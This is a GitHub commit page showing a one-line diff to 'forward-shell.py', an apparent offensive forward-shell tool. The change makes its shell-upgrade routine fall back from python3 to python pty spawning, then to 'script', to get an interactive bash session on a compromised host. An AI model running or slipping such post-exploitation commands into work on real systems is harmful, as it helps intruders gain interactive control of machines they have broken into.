Skip to content

Commit 2919115

Browse files
authored
Update forward-shell.py
1 parent 33fc951 commit 2919115

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

forward-shell.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -76,7 +76,7 @@ def WriteCmd(self, cmd):
7676

7777
def UpgradeShell(self):
7878
# upgrade shell
79-
UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
79+
UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")' || script -qc /bin/bash /dev/null"""
8080
self.WriteCmd(UpgradeShell)
8181

8282
prompt = "Please Subscribe> "

0 commit comments

Comments
 (0)